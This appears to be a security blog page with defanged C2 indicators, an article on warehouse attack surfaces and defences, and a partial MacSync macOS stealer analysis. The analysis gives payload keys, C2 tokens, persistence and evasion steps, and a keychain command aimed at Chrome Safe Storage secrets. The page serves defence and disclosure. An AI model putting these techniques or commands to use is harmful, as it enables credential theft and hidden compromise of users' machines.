hxxps://cubedesign[.]co[.]kr/mobile/fashion            C2 of Cubridge
hxxps://fp-news[.]co[.]kr/shop/cart                                C2 of Cubridge
hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php         C2 of ClientHub
hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php    C2 of ClientHub
hxxps://www[.]ksog[.]org/insert_file/handle.php                   C2 of ClientHub

  •  

The journey of a paper unicorn: adventures inside a modern warehouse

Introduction

Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

Stages of order fulfillment

Stages of order fulfillment

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

  1. Unloading
    First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
  2. Receiving
    At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
  3. Putaway
    Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
  4. Storage
    Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
  5. Picking
    When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
  6. Sorting
    At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
  7. Packing
    During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
  8. Shipment
    Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

Warehouse risks

Warehouse risks

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

  1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
    1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
    2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
  2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

Warehouse attack surface

Warehouse attack surface

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

  •  

MacSync under the microscope: new delivery methods and a new payload

MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.

Key points:

  • The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
  • The main malicious payload now consists of modules written in Objective-C and Swift.
  • At one stage of infection, the attackers use iCloud to deliver the next

Kaspersky solutions detect the threats described below under the following verdicts:

  • HEUR:Trojan.OSX.MacSync.*
  • HEUR:Trojan-PSW.OSX.MacSync.*
  • HEUR:Trojan-Dropper.OSX.MacSync.*
  • HEUR:Trojan-Downloader.OSX.MacSync.*

Technical details

Infection chain

MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:

The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:

It’s worth noting right away that MacSync shows shared traits at almost every stage:

  • All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
  • Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
  • All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.

Loader, Calendar, and Two Simple Droppers

In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.

The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:

hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08

Contents of the downloaded calendar

Contents of the downloaded calendar

After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.

We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.

The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:

cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca
3a1af2b397c6958e6c3ba3c75912d60e

The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.

Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:

3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a
8d371f8a7a6dcc2655544ae13cbca03d

Payload of the second dropper

Payload of the second dropper

As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:

ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c
09425f72de8bba18893dcd6f04115891

A couple more scripts

Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:

  • The main function in the script is named daemon_function.
  • The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
  • One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
  • The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.

The script performs the following tasks:

  • Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
  • Gaining persistence on the system
  • Uploading data received from the infostealer module to the command-and-control server

One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:

  1. The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
  2. The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
  3. The server responds with the following JSON:
    {
        "ok": true,
        "dek_wrap_b64":  <base64_encoded_encrypted_key> ,
        "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=",
        "crypto": "v2.5"
    }

    Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
  4. Then decrypt command from pkgunpack utility decrypts the key:
    1. A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
    2. The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
    3. Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
      1. The first 5 bytes: additional authenticated data (AAD)
      2. The next 12 bytes: the initialization vector (IV)
      3. The rest: the ciphertext
    4. The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.

      Decoded dek_wrap_b64

      Decoded dek_wrap_b64

  5. The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.

Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.

As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:

  • A LaunchAgent named com.apple.finder.agent
  • Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
  • Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks

The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.

One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.

Infostealer

The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.

Fake stealer pop-up windows

Fake stealer pop-up windows

Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.

Password verification with PAM

Password verification with PAM

Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.

String decryption

String decryption

The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:

  • Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
  • Crypto wallet application data
  • Telegram data
  • Device login and password
  • Keychain file
  • System information: list of installed applications and running processes, device model, hardware, UUID, and so on
  • Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
  • ZSH and Bash command history
  • Current user profile picture

The collected data is saved to a hidden directory in /tmp/.

The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:

  • teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
  • apple: the application is an Apple service
  • apple-tool: the application is an Apple command-line utility

security set-generic-password-partition-list -a <account_name> -s <service_name> -S <application_groups> -k <keychain_password> <keychain_path>

The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:

Chrome Safe Storage|Chrome|ChromeStorage|apple-tool:,apple:,teamid:EQHXZ8M8AV
